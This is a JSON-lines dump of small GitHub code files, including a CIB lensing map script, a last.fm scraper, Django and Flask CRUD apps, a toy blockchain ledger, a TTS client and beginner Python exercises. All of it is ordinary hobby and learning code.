+{"seq_id":"2090810762","text":"\"\"\"\nCreate the total CIB maps by summing CIB fluxes from sources located in different redshift\nshells\n\"\"\"\nimport healpy as hp\nimport numpy as np\n\nNUM_Z_SHELLS = 23\nFREQUENCIES = ['545', '353', '217']\n\ndef get_total_cib_map(which, frequency):\n\t\"\"\"\n\tAdd CIB fluxes from individual redshift shells. Allows us to pick which set of maps\n\t(unlensed, lensed) we want and which frequency.\n\t\"\"\"\n\n\t# In our model, the closest shell is not lensed (as there is no matter that could lens)\n\tcib_map = hp.read_map('output/unlensed/cib_' + frequency + '_shell_0.fits')\n\n\tfor idx in range(1,NUM_Z_SHELLS):\n\t\t\tcib_map += hp.read_map('output/' + which + '/cib_' + frequency + '_shell_' + str(idx) + '.fits')\n\n\treturn cib_map\n\nfor frequency in FREQUENCIES:\n\tfor which in ['lensed', 'unlensed']:\n\t\tcib_map = get_total_cib_map(which, frequency)\n\t\thp.write_map(\n\t\t\t\t'output/' + which + '/cib_' + frequency + '_total.fits',\n\t\t\t\tcib_map,\n\t\t\t\toverwrite = True\n\t\t\t)\n","repo_name":"motloch/cib_lensing","sub_path":"04_calculate_total_maps.py","file_name":"04_calculate_total_maps.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7308945209","text":"''' \n------------------- last.fm Library Parser -------------------\nWritten by: FigNewtons\nDate: September 29, 2013\n\nThis program stores a list of all of the artists in your \nlast.fm library into a plain text file. However, this code\ncan be modified for more general parsing uses if necessary.\n\n'''\nimport urllib.request as req\n\n# Replace <username> with your last.fm Username. \nsource = 'http://www.last.fm/user/<username>/library?page='\nget = '&sortOrder=asc&sortBy=name'\nstart_tag = '<strong class=\"name\">'\nend_tag = '</strong>'\n\n# Change to the number of pages in your library\npages = 50\n\n# Path to blank text file where you want to store the list.\n# Make sure the file exists before running this program!\nartist_list = '/path/to/file.txt'\n\n# Enumerates the url for each page \ndef createURL(source, get):\n    for n in range(1, pages + 1):\n        url = source + str(n) + get\n        getHTML(url)\n        print('Page ' + str(n) + ' parsed.')\n    return 0\n\n# Makes url request and passes a character stream of the html\ndef getHTML(url):\n    html = req.urlopen(url)\n    mybytes = html.read()\n    mystr = mybytes.decode(\"utf8\")\n    html.close()\n\n    parseHTML(mystr)\n    return 0\n\n# Takes character stream and joins into a string. Then outputs \n# an array of the string split by each new line found in the html.\ndef parseHTML(mystr):\n    mystr = ''.join(mystr)\n    mystr = mystr.split('\\n')\n\n    getList(mystr)\n    return 0\n\n# Goes through each line of HTML and if it finds the given start tag, \n# it will extract the value between the start and end tags.\ndef getList(mystr):\n    for line in mystr:\n        if start_tag in line:\n            artist = line.split(start_tag)[-1]\n            artist = artist.split(end_tag)[0]\n            writeFile(artist)\n    return 0\n\n# Writes artist's name to a text file    \ndef writeFile(artist):\n    f = open(artist_list, 'a+')\n    f.write(artist + '\\n')\n    f.close()\n\n    return 0\n\n# ------------STARTS PROGRAM--------------\ncreateURL(source, get)\n","repo_name":"FigNewtons/python_projects","sub_path":"getLibrary/getLibrary.py","file_name":"getLibrary.py","file_ext":"py","file_size_in_byte":1985,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"36259639807","text":"#-*- coding: utf-8 -*-\nfrom annoying.decorators import render_to\nfrom django.shortcuts import get_object_or_404\nfrom django.http import HttpResponseRedirect\nfrom django.core.urlresolvers import reverse\n\nfrom models import Mediatheque, Categorie\n\n@render_to('mediatheque/image_list.html')\ndef image_list(request, slug=None):\n    \"\"\"Retourne l'ensemble des images de la médiathèque.\n       Si ``slug`` est renseigné, renvoit les images de la catégorie qui y correspond. \n    \"\"\"\n    images = Mediatheque.images.all()\n    if slug:\n        images = images.filter(categorie__slug=slug)\n    return {'images': images}\n\n\n@render_to('mediatheque/video_list.html')\ndef video_list(request, slug=None):\n    \"\"\"Même chose que image_list.\"\"\"\n    images = Mediatheque.embed.all()\n    if slug:\n        images = images.filter(categorie__slug=slug)\n    return {'images': images}\n\n\n@render_to('mediatheque/categorie_list.html')\ndef categorie_list(request):\n    \"\"\"Liste des catégories non-vides.\"\"\"\n    return {\"categories\": Categorie.objects.filter(id__in=Mediatheque.objects.values('categorie').distinct())}\n\n\n@render_to('mediatheque/image_categories_list.html')\ndef image_categories_list(request):\n    categories = [cat for cat in Categorie.objects.all() if cat.images().exists()]\n    return locals()\n\n\n@render_to('mediatheque/categorie_details.html')\ndef categorie_details(request, slug):\n    \"\"\"Détails d'une catégorie.\"\"\"\n    categorie=get_object_or_404(Categorie, slug=slug)  \n    categorie.image_principale = categorie.get_absolute_imagep_url() \n    image_principale=categorie.image_principale\n    return locals()\n\n\ndef last_cat_media_list(request, type=\"image\"):\n    \"\"\"retourne les vidéos ou les photos de la dernière catégorie \n    (classé par nom).\n    @param type: reçoit `image` ou `video` pour définir quelle vue utiliser.\n    \"\"\"\n      \n    categories = Categorie.objects.order_by('-name')\n    try:\n        cat = categories[0]\n    except IndexError:\n        return categorie_list(request)\n    \n    if type == 'video':\n        return HttpResponseRedirect(reverse('mediatheque:video_list', kwargs={'slug': cat.slug}))\n    else:\n        return HttpResponseRedirect(reverse('mediatheque:image_list', kwargs={'slug': cat.slug}))","repo_name":"freesaf/risma","sub_path":"risma/mediatheque/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"81130500","text":"# Partially and shamelessly copied from https://gist.github.com/reuben/5f483772864c1ac9687ba1c7aa3cb11f\n\nfrom typing import Iterator\nfrom jarvis.tts.tts_provider import TTSProvider\nimport subprocess\nimport requests\nimport shutil\nimport os\n\nclass CoquiAI(TTSProvider):\n    API_URL = \"https://app.coqui.ai/api/v2/samples/multilingual/render/?format=wav\"\n\n    def __init__(self, voice_id: str, lang: str = \"fr\") -> None:\n        self.token = os.getenv(\"COQUI_API_TOKEN\")\n        self.voice_id = voice_id\n        self.lang = lang\n\n    def stream(self, audio_stream: Iterator[bytes]) -> bytes:\n        if not shutil.which(\"mpv\"):\n            raise ValueError(\"mpv not found\")\n\n        mpv_command = [\"mpv\", \"--no-cache\", \"--no-terminal\", \"--\", \"fd://0\"]\n        mpv_process = subprocess.Popen(\n            mpv_command,\n            stdin=subprocess.PIPE,\n            stdout=subprocess.DEVNULL,\n            stderr=subprocess.DEVNULL,\n        )\n\n        audio = b\"\"\n\n        for chunk in audio_stream:\n            if chunk is not None:\n                mpv_process.stdin.write(chunk)  # type: ignore\n                mpv_process.stdin.flush()  # type: ignore\n                audio += chunk\n\n        if mpv_process.stdin:\n            mpv_process.stdin.close()\n        mpv_process.wait()\n\n        return audio\n\n    def tts(self, message: str) -> Iterator[bytes]:\n        res = requests.post(\n            self.API_URL,\n            json={\"text\": message, \"voice_id\": self.voice_id, \"language\": self.lang},\n            headers={\"Authorization\": f\"Bearer {self.token}\"},\n        )\n\n        if res.status_code != 200:\n            raise ValueError(f\"CoquiAI API returned {res.status_code} status code, error: {res.text}\")\n\n        for chunk in res.iter_content(chunk_size=2048):\n            if chunk:\n                yield chunk\n\n    def speak(self, message: str) -> None:\n        audio_stream = self.tts(message)\n        self.stream(audio_stream)","repo_name":"GaspardCulis/jarvis","sub_path":"jarvis/tts/coquiai.py","file_name":"coquiai.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16531510767","text":"# for serializing / deserializing data\nimport pickle\n# for signing\nfrom Crypto.Signature import pkcs1_15\n# hasher for signatures\nfrom Crypto.Hash import SHA384\n# hasher for blocks\nfrom Crypto.Hash import SHA256\n# for loading / exporting public and secret keys\nfrom Crypto.PublicKey import RSA\n# has functions for calculating balances of accounts\nimport accounting\n\n\n# variable used globally for accessing ledger data\nledger = None\n\n\nclass _Post_Payload:\n    '''\n    Class for containing post data\n    '''\n\n    def __init__(self, block_id, poster_public_register, payee_public_register, amount, data):\n        self.block_id = block_id\n        self.poster_public_register = poster_public_register\n        self.transaction = {'payee': payee_public_register,'amount': amount} # payee will be a public wallet object\n        self.data = data\n\n\nclass _Post:\n    '''\n    Class for posts which contain a _Post_Payload object and a valid signature\n    '''\n\n    def __init__(self, post_payload, signature):\n        self.post_payload = post_payload\n        self.signature = signature\n\n\nclass _Work_Proof:\n    '''\n    Class for containing the proof of work done by a miner\n    work_proof is a SHA256 hash of the _Block_Payload which begins with 5 zero bytes, which is the definition of \"work\"\n    '''\n\n    def __init__(self, miner_id, miner_pk, proof):\n        self.miker_id = miner_id\n        self.miner_pk = miner_pk\n        self.work_proof = proof # signed hash of Block_Payload\n\n\nclass _Block:\n    '''\n    Class which represents a block on the chain.\n    The miner will create this object and keep updating the work string until the SHA256 hash produces 5 leading zeroes\n    A list of Blocks is the blockchain, which is maintained in the ledger file\n    '''\n\n    def __init__(self, block_id, previous_block_hash, posts, miner_id, miner_pk):\n        # block IDs are simply the integers in order\n        self.block_id = block_id\n        # the previous block hash is included for verifying that this block payload is truly the next in sequence\n        self.previous_block_hash = previous_block_hash\n        self.posts = posts\n        self.miner_id = miner_id\n        self.miner_pk = miner_pk\n        self.work = ''\n\n\n    def update_work(self, work_str):\n        self.work = work_str\n\n\nclass InsufficientFunds(Exception):\n    'Error which occurs if someone is trying to pay but cannot afford it. I.E. the poor and destitute'\n\n\ndef retrieve_ledger():\n    # open the ledger file\n    # read in the contents\n    # unpickle the ledger\n    with open('ledger', 'rb') as f:\n        l = pickle.load(f)\n    return l\n\n\ndef check_ledger():\n    # read through the blocks one at a time\n    # check the previous block hashes to this block's hash (except first block)\n    # check the work has 5 zeroes and hashes\n    pass\n\n\ndef save_ledger():\n    # pickle the ledger\n    # save it to file\n    with open('ledger', 'wb') as f:\n        pickle.dump(ledger, f)\n\n\ndef get_current_block_id(ledger):\n    # return the id of the the newest block + 1\n    return len(ledger['blocks']) + 1\n\n\ndef generate_post_payload(poster_public_register, payee_public_register, amount, data):\n    # block_id is always added so signatures are tied uniquely to this post, otherwise a signature could be re-used by duplicating an identical post\n    block_id = get_current_block_id(ledger)\n    post_payload = _Post_Payload(block_id, poster_public_register, payee_public_register, amount, data)\n    return post_payload\n\n\ndef add_post_to_pending_posts(new_post):\n    global ledger\n    # add the new post to the list of pending posts, which will be collected and added to the next mined block\n    ledger['pending-posts'].append(new_post)\n    save_ledger()\n\n\ndef get_pending_posts():\n    return ledger['pending-posts']\n\n\ndef get_prev_block_hash():\n    # get the previous block from the ledger\n    prev_block = ledger['blocks'][-1]\n    # convert it into bytes for hashing\n    block_bytes = pickle.dumps(prev_block)\n    # create new SHA256 hasher\n    hasher = SHA256.new()\n    # process the block byes\n    hasher.update(block_bytes)\n    # retrieve the hash\n    block_hash = hasher.digest()\n    return block_hash\n\n\ndef create_block():\n    # get the active block id number\n    block_id = get_current_block_id()\n    # get the hash of the previous block\n    prev_block_hash = get_prev_block_hash()\n    # get all pending posts\n    posts = get_pending_posts()\n    # create the _Block object\n    block_payload = _Block_Payload(block_id, previous_block_hash, posts)\n    return block_payload\n\n\ndef validate_post_payload(post_payload, signature):\n    # make sure the signature works\n    # make sure the payor has sufficient funds\n    payer = post_payload.poster_public_register['display-name']\n    amount = post_payload.transaction['amount']\n    accounting.load_accounts(get_blocks())\n    if not accounting.available_balance(payer, amount, get_pending_posts()):\n        raise InsufficientFunds\n\n\ndef submit_post(post_payload, signature):\n    # validate the post_payload data\n    validate_post_payload(post_payload, signature)\n    # create the bytes representation of the data\n    post_payload_bytes = pickle.dumps(post_payload)\n    # create a sha384 hasher\n    hasher = SHA384.new()\n    # process the post_payload data\n    hasher.update(post_payload_bytes)\n    # retrieve the public key from the signer\n    poster_pk = post_payload.poster_public_register['pk']\n    poster_pk = RSA.import_key(poster_pk)\n    # create a signer object\n    validator = pkcs1_15.new(poster_pk)\n    # call verify with hasher and signature to validate. No errors = valid\n    validator.verify(hasher, signature)\n\n    # create a new _Post object\n    new_post = _Post(post_payload, signature)\n    # add the post to pending posts\n    add_post_to_pending_posts(new_post)\n\n\ndef clear_pending_posts():\n    global ledger\n    ledger['pending-posts'] = []\n\n\ndef add_block_to_chain(solved_block):\n    # verify that the block is correct\n\n    # delete old pending posts\n    # note that this creates race conditions where new posts added after the miner began will be lost\n    # to mitigate the race condition, later on a lock on the pending posts list can be implemented\n    clear_pending_posts()\n\n    # append the block to the chain\n    ledger['blocks'].append(solved_block)\n\n    # save the updated ledger\n    save_ledger()\n\n\ndef create_block(miner_id, miner_pk):\n    global ledger\n    block_id = get_current_block_id(ledger)\n    previous_block_hash = get_prev_block_hash()\n    posts = ledger['pending-posts']\n    pk_exp = miner_pk.export_key()\n    new_block = _Block(block_id, previous_block_hash, posts, miner_id, pk_exp)\n    return new_block\n\n\ndef first_block():\n    global ledger\n    bid = 0\n    pbh = b''\n    posts = []\n    mid = b''\n    mpk = b''\n    return _Block(bid, pbh, posts, mid, mpk)\n\n\ndef get_blocks():\n    global ledger\n    return ledger['blocks']\n\n\n# load ledger data to ledger global\nledger = retrieve_ledger()\n# set up the accounts for later verification of sufficient funds when posts are submitted\naccounting.load_accounts(get_blocks())\n","repo_name":"MatthewCLind/Python-Blockchain","sub_path":"ledger.py","file_name":"ledger.py","file_ext":"py","file_size_in_byte":7047,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"71100838727","text":"# -*- coding: utf-8 -*-\r\n\r\nclass Solution:\r\n    def groupAnagrams(self, strs):\r\n        combs = {}\r\n        for s in strs:\r\n            st =  ''.join(sorted(s))\r\n            if st not in combs:\r\n                combs[st] = []\r\n            combs[st].append(s)\r\n        \r\n        ans = []\r\n        for k, v in combs.items():\r\n            ans.append(sorted(v))\r\n\r\n        return ans\r\n\r\ns = Solution()\r\nprint(s.groupAnagrams([\"eat\", \"tea\", \"tan\", \"ate\", \"nat\", \"bat\"]))\r\n        ","repo_name":"douzujun/Python-Foundation-Suda","sub_path":"苏大上机代码/python_project/03_历年真题期末期中/suda_LeetCode/py50_49_groupAnagrams.py","file_name":"py50_49_groupAnagrams.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"16"}
+{"seq_id":"3331481705","text":"from flask import Flask,jsonify,request, abort\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom dotenv import load_dotenv\r\nload_dotenv()\r\n\r\nPythonprojet=Flask(__name__)\r\nPythonprojet.config['SQLALCHEMY_DATABASE_URI']=\"postgresql://postgres:logou@localhost:5432/db_project\"\r\nPythonprojet.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\r\ndb=SQLAlchemy(Pythonprojet)\r\n\r\nclass Categorie(db.Model):\r\n    __tablename__ = 'categories'\r\n    id = db.Column(db.Integer, primary_key=True)\r\n    libelle_categorie = db.Column(db.String(30), nullable=True)\r\n    cat=db.relationship('Livre',backref='categories',lazy=True)\r\n\r\n    \r\n\r\n    def __init__(self, libelle_categorie):\r\n            self.libelle_categorie = libelle_categorie\r\n\r\n    def insert(self):\r\n            db.session.add(self)\r\n            db.session.commit()\r\n    \r\n    def update(self):\r\n            db.session.commit()\r\n\r\n    def delete(self):\r\n            db.session.delete(self)\r\n            db.session.commit()\r\n\r\n    def format(self):\r\n            return {\r\n            'id': self.id,\r\n            'libelle_categorie': self.libelle_categorie,\r\n            }\r\n\r\n\r\nclass Livre(db.Model):\r\n    __tablename__ = 'livres'\r\n    id=db.Column(db.Integer, primary_key=True)\r\n    isbn = db.Column(db.Integer, unique=True)\r\n    titre = db.Column(db.String(30), nullable=False)\r\n    date_publication = db.Column(db.DateTime, nullable=False)\r\n    auteur = db.Column(db.String(30), nullable=False)\r\n    editeur = db.Column(db.String(30), nullable=False)\r\n    categories_id=db.Column(db.Integer, db.ForeignKey('categories.id'),nullable=False)\r\n\r\n    def __init__(self, isbn, titre, date_publication, auteur, editeur):\r\n            self.isbn = isbn\r\n            self.titre=titre\r\n            self.auteur =auteur\r\n            self.editeur = editeur\r\n            self.date_publication = date_publication\r\n\r\n    def insert(self):\r\n            db.session.add(self)\r\n            db.session.commit()\r\n  \r\n    def update(self):\r\n            db.session.commit()\r\n\r\n    def delete(self):\r\n            db.session.delete(self)\r\n            db.session.commit()\r\n\r\n    \r\n    def format(self):\r\n            return {\r\n            'isbn': self.isbn,\r\n            'auteur': self.auteur,\r\n            'editeur': self.editeur,\r\n            'titre': self.titre,\r\n            'date publication': self.date_publication,\r\n            }\r\ndb.create_all()\r\n\r\n#liste de tt les livres\r\n\r\n@Pythonprojet.route('/livres',methods=['GET'])\r\ndef ajout_livres():\r\n    livres=Livre.query.all()\r\n    formated_books=[ liv.format() for liv in livres]\r\n    return jsonify({\r\n        'success':True,\r\n        'livres':formated_books,\r\n        'total':len(Livre.query.all())\r\n    })\r\n\r\n#chercher un livre par son id\r\n\r\n@Pythonprojet.route('/livres/<int:id>',methods=['GET'])\r\ndef get_one_livre(id):\r\n    livres=Livre.query.get(id)\r\n    if livres is None:\r\n        abort(404)\r\n    else:\r\n        return jsonify({\r\n            \"sucess\":True,\r\n            \"selected_id\":id,\r\n            \"selected_livres\":livres.format()\r\n        })\r\n\r\n #Lister la liste des livres d’une catégorie\r\n\r\n# Chercher une catégorie par son id\r\n\r\n@Pythonprojet.route('/categories/<int:id>',methods=['GET'])\r\ndef get_one_categories(id):\r\n    categories=Categorie.query.get(id)\r\n    if categories is None:\r\n        abort(404)\r\n    else:\r\n        return jsonify({\r\n            \"sucess\":True,\r\n            \"selected_id\":id,\r\n            \"selected_categories\":categories.format()\r\n        })\r\n\r\n# Listes toutes les catégories\r\n\r\n\r\n@Pythonprojet.route('/categories',methods=['GET'])\r\ndef ajout_categories():\r\n    categories=Categorie.query.all()\r\n    formated_list=[ cat.format() for cat in categories]\r\n    return jsonify({\r\n        'success':True,\r\n        'categories':formated_list,\r\n        'total':len(Categorie.query.all())\r\n    })\r\n\r\n  # Supprimer un livre\r\n\r\n@Pythonprojet.route('/livres/<int:id>',methods=['DELETE'])\r\ndef delete_livre(id):\r\n    livres=Livre.query.get(id)\r\n    if livres is None:\r\n        abort(404)\r\n    else:\r\n        livres.delete()\r\n        return jsonify({  \r\n            \"deleted_id\":id,\r\n            \"sucess\":True,\r\n            \"deleted_book\":livres.format()\r\n        })\r\n\r\n#Supprimer une categorie\r\n\r\n@Pythonprojet.route('/categories/<int:id>',methods=['DELETE'])\r\ndef delete_categories(id):\r\n    categories=Categorie.query.get(id)\r\n    if categories is None:\r\n        abort(404)\r\n    else:\r\n        categories.delete()\r\n        return jsonify({  \r\n            \"deleted_id\":id,\r\n            \"sucess\":True,\r\n            \"deleted_student\":categories.format()\r\n        })\r\n\r\n# Modifier les informations d’un livre\r\n\r\n\r\n@Pythonprojet.route('/livres/<int:id>',methods=['PATCH'])\r\ndef update_livres(id):\r\n    body=request.get_json()\r\n    livres=Livre.query.get(id)\r\n\r\n    livres.isbn=body.get('isbn',None)\r\n    livres.titre=body.get('titre',None)\r\n    livres.auteur=body.get('auteur',None)\r\n    livres.editeur=body.get('editeur',None)\r\n    livres.date_publication=body.get('date_publication',None)\r\n    livres.categorie_id=body.get('categorie_id',None)\r\n\r\n    livres.update()\r\n    return jsonify({   \r\n        \"sucess\":True,\r\n        \"updated_id_livres\":id,\r\n        \"new_livres\":livres.format()\r\n     })\r\n\r\n#Modifier le libellé d’une categorie\r\n\r\n@Pythonprojet.route('/categories/<int:id>',methods=['PATCH'])\r\ndef update_categories(id):\r\n    body=request.get_json()\r\n    categories=Categorie.query.get(id)\r\n    categories.libelle_categorie=body.get('libelle_categorie',None)\r\n\r\n    if categories.libelle_categorie is None:\r\n        abort(400)\r\n    else:\r\n        categories.update()\r\n        return jsonify({   \r\n            \"sucess\":True,\r\n            \"updated_id_categories\":id,\r\n            \"new_categories\":categories.format()\r\n     })","repo_name":"yedoutien08/projet","sub_path":"pythonprojet.py","file_name":"pythonprojet.py","file_ext":"py","file_size_in_byte":5742,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"30038137864","text":"#写文件\n# 特点: 若mode='w' 则是写操作\n#   write(内容) 每次都会将原来的内容清空,然后写当前的内容 不换行\n#   writelines(内容) 清空原来内容, 当前内容可迭代['','']\n#   \n#   若mode='a'  --> (a)是append --->不会清空原来的内容,在原来内容基础上写\nstream=open(r'C:\\P1\\tt.txt','w') \nprint(stream.writable()) #true\ns='''\n  你好! \n            欢迎来到澳门博彩赌场,赠送给你一个粑粑\n                    赌神:高进\n\n\n'''\nrusult=stream.write(s) \nprint(rusult) #68\nstream.write('老八爱吃粑粑')\nstream.close() #释放资源管道\n\n\n\nstream1=open(r'C:\\P1\\xie.txt','a')\nstream1.write('欢迎来到博彩体验')\nstream1.writelines(['赌神:高进\\n','赌侠:小刀\\n','赌圣:周星星'])\nstream1.close()\n\n","repo_name":"Luciano0000/Pyhon-","sub_path":"file/QianFeng018file2.py","file_name":"QianFeng018file2.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12282077423","text":"#EXERCICIO 15..\n\n#A série de Fibonacci é formada pela seqüência 1,1,2,3,5,8,13,21,34,55,... Faça um programa capaz de gerar a série até o n−ésimo termo.\n\nnesimo = int(input('Digite o número referente ao termo que deseja conhecer da sequancia de fibonacci: '))\n\n\nt1 = 0\nt2 = 1\n\nprint(f'{t1}, {t2}', end ='')\n\ncont = 3\nwhile cont <= nesimo:\n    t3 = t1 + t2\n    print(f', {t3}', end = '')\n    t1 = t2\n    t2 = t3\n    cont +=1\n","repo_name":"GermanUngo/ListaExerciciosPython.org","sub_path":"secao_03_estrutura_de_repeticao/15-fibonacci.py","file_name":"15-fibonacci.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41185452225","text":"# -- Write your code to expect a terminal of 80 characters wide and 24 rows high --\n\n# Important\n# to-do:\n# - heroku requires all inputs and print statements to have a newline character to work with heroku config --\n# Colours in terminal\n# RED text = player died\n# GREEN text =\n# BLUE text =\n# Add a would you like to play\n\nfrom gameIntroLog import game_intro_log\nfrom helperFunctions import terminal_typing_effect, TERMINAL_TYPING_SPEED, beginning_title, read_the_rules\n\nglobal playerName\ndef start_game():\n    startGame = input(\"Would you like to start the game Y/N\\n\").lower()\n\n    if (startGame == 'y'):\n        terminal_typing_effect(\"Would you like to read the rules?\\n\", TERMINAL_TYPING_SPEED)\n        readRules = input(\"READ RULES Y/N\\n\").lower()\n        if(readRules == 'y'):\n            read_the_rules()\n        elif(readRules == 'n'):\n            terminal_typing_effect(\"Ok, no rules for you!\\n\", TERMINAL_TYPING_SPEED)\n        while True:\n            playerName = input(\"Please enter your name\\n\").lower()\n            if playerName.isalpha():\n                break\n            terminal_typing_effect(\"Please only enter characters a-z \\n\", TERMINAL_TYPING_SPEED)\n\n        terminal_typing_effect(f\"Welcome {playerName}, good luck!\\n\", TERMINAL_TYPING_SPEED)\n        beginning_title()\n        game_intro_log()\n    elif (startGame == 'n'):\n        terminal_typing_effect(\"Ok, maybe next time!\\n\", TERMINAL_TYPING_SPEED)\n\n    else:\n        terminal_typing_effect(\"ENTER A PATH\\n\", TERMINAL_TYPING_SPEED)\n        startGame()\n\n\nstart_game()\n","repo_name":"Code-Institute-Submissions/Escape-the-house","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1546,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24914831305","text":"from tkinter import *\nfrom tkinter import ttk\nimport tkinter\nimport tkinter.filedialog\n\ndef test_function():\n    print('Hello World!')\n\ndef change_cont():\n    text_cont[\"text\"]+=1\nroot = Tk()\nfrm = ttk.Frame(root,padding=100)\nfrm.grid()\n\ntext_cont=Label(frm,text=0)\ntext_cont.grid(column=0,row=2)\n\n# photo = Tk.PhotoImage(file=r\"C:\\Users\\joaop\\Documents\\PDF_auto\\Imagens\\Image13.png\")\nphoto = PhotoImage(file=r\"C:\\Users\\joaop\\Documents\\PDF_auto\\Imagens\\Image13.png\")\n\nttk.Label(frm, text=\"Hello World!\").grid(column=0,row=0)\nttk.Button(frm, text='Increment',command=change_cont).grid(column=0,row=1)\nttk.Button(frm, text='Quit', command=root.destroy).grid(column=0, row=3)\n\n#gerando uma imagem na janela\nttk.Label(frm,image=photo).grid(column=0,row=4)\n# PhotoImage(frm, file=r\"C:\\Users\\joaop\\Documents\\PDF_auto\\Imagens\\Image13.png\")\n\n#rodando o código na janela\nroot.mainloop()","repo_name":"jp3dr0mendes/tkinter_studies","sub_path":"ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10819360325","text":"from django import forms\nfrom datetime import date\nfrom .models import DefValues\nfrom tempus_dominus.widgets import DatePicker\n\ntoday = date.today()\nd = DefValues.objects.get(id=1)\nd.refresh_from_db()\n\n\nclass NitiShopBaseForm(forms.Form):\n    date = forms.DateField(label=\"Data\",\n                           widget=DatePicker(\n                               options={\n                                   'format': 'DD/MM/YYYY',\n                               },\n                               attrs={\n                                   'input_toggle': True,\n                                   'input_group': True,\n                                   'append': 'fa fa-calendar', 'icon_toggle': True,\n                               },\n                           ),\n                           input_formats=('%d/%m/%Y',),\n                           required=True, initial=today, )\n\n\nclass AddDataForm(NitiShopBaseForm):\n    cashbox = forms.DecimalField(label=\"Arka\", max_digits=9, decimal_places=2,\n                                 widget=forms.NumberInput(attrs={'class': 'form-control'}), required=False)\n    withdraw = forms.DecimalField(label=\"Terheqje\", max_digits=9, decimal_places=2,\n                                  widget=forms.NumberInput(attrs={'class': 'form-control'}), required=False)\n\n    def clean_cashbox(self):\n        data = self.cleaned_data['cashbox']\n        if not data:\n            data = 0.00\n        return data\n\n    def clean_withdraw(self):\n        data = self.cleaned_data['withdraw']\n        if not data:\n            data = 0.00\n        return data\n\n\nclass AddExpenseForm(NitiShopBaseForm):\n    expense = forms.DecimalField(label=\"Shpenzimet\", max_digits=9, decimal_places=2,\n                                 widget=forms.NumberInput(attrs={'class': 'form-control'}), required=False)\n\n    def clean_expense(self):\n        data = self.cleaned_data['expense']\n        if not data:\n            data = 0.00\n        return data\n\n\nclass DateForm(forms.Form):\n    month_choices = [\n        (1, 'Janar'),\n        (2, 'Shkurt'),\n        (3, 'Mars'),\n        (4, 'Prill'),\n        (5, 'Maj'),\n        (6, 'Qershor'),\n        (7, 'Korrik'),\n        (8, 'Gusht'),\n        (9, 'Shtator'),\n        (10, 'Tetor'),\n        (11, 'Nentor'),\n        (12, 'Dhjetor'),\n    ]\n    this_month = forms.IntegerField(label='Muaji?',\n                                    widget=forms.Select(choices=month_choices, attrs={'class': 'form-control'}), initial=today.month)\n    this_year = forms.IntegerField(label='Viti?', initial=today.year,\n                                   widget=forms.NumberInput(attrs={'class': 'form-control'}))\n\n\nclass DefaultValuesForm(forms.Form):\n    wages = forms.FloatField(label=\"Pagat\", widget=forms.NumberInput(attrs={'class': 'form-control'}), initial=float(d.wages))\n    transport = forms.FloatField(label=\"Harxhimet e Transportit\", widget=forms.NumberInput(attrs={'class': 'form-control'}), initial=float(d.transport))\n    electricbill = forms.FloatField(label=\"Fatura e Rrymes\", widget=forms.NumberInput(attrs={'class': 'form-control'}), initial=float(d.electricbill))\n    internet = forms.FloatField(label=\"Interneti\", widget=forms.NumberInput(attrs={'class': 'form-control'}), initial=float(d.internet))\n    water = forms.FloatField(label=\"Fatura e Ujit\", widget=forms.NumberInput(attrs={'class': 'form-control'}), initial=float(d.water))\n    avg_percent = forms.FloatField(label=\"Perqindja e Fitimit\", widget=forms.NumberInput(attrs={'class': 'form-control'}), initial=float(d.avg_percent))\n    \n    def __init__(self, *args, **kwargs):\n        g = DefValues.objects.get(id=1)\n        kwargs.update(initial={\n            'wages': g.wages,\n            'transport': g.transport,\n            'electricbill': g.electricbill,\n            'internet': g.internet,\n            'water': g.water,\n            'avg_percent': g.avg_percent,\n        })\n        super(DefaultValuesForm, self).__init__(*args, **kwargs)\n\n\nclass SupplierForm(forms.Form):\n    supplier_name = forms.CharField(label='Emri Furnitorit', widget=forms.TextInput(attrs={'class': 'form-control mb-2', 'placeholder': 'Emri Biznesit'}), required=False)\n    contact_name = forms.CharField(label='Emri Kontaktit', widget=forms.TextInput(attrs={'class': 'form-control mb-2', 'placeholder': 'Emri i Kontaktit'}), required=False)\n    tel_number = forms.CharField(label='Numri i Telefonit', widget=forms.TextInput(attrs={'class': 'form-control mb-2', 'placeholder': 'Emri Biznesit'}), initial='+383', required=False)\n\n\nclass StorageForm(forms.Form):\n    product_name = forms.CharField(label='Produkti', widget=forms.TextInput(\n        attrs={'class': 'form-control mb-2 ml-2', 'placeholder': 'Produkti'}), required=False)\n    stock = forms.IntegerField(label='Sasia', widget=forms.NumberInput(\n        attrs={'class': 'form-control mb-2 ml-2', 'placeholder': 'Sasia'}), required=False)\n    supp_name = forms.CharField(label='Emri Furnitorit', widget=forms.TextInput(\n        attrs={'class': 'form-control mb-2 ml-2 myInput', 'placeholder': 'Emri Furnizuesit', 'id': 'myInput'}), required=True)\n","repo_name":"fiksshop/nitishopshpk","sub_path":"nitishop/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
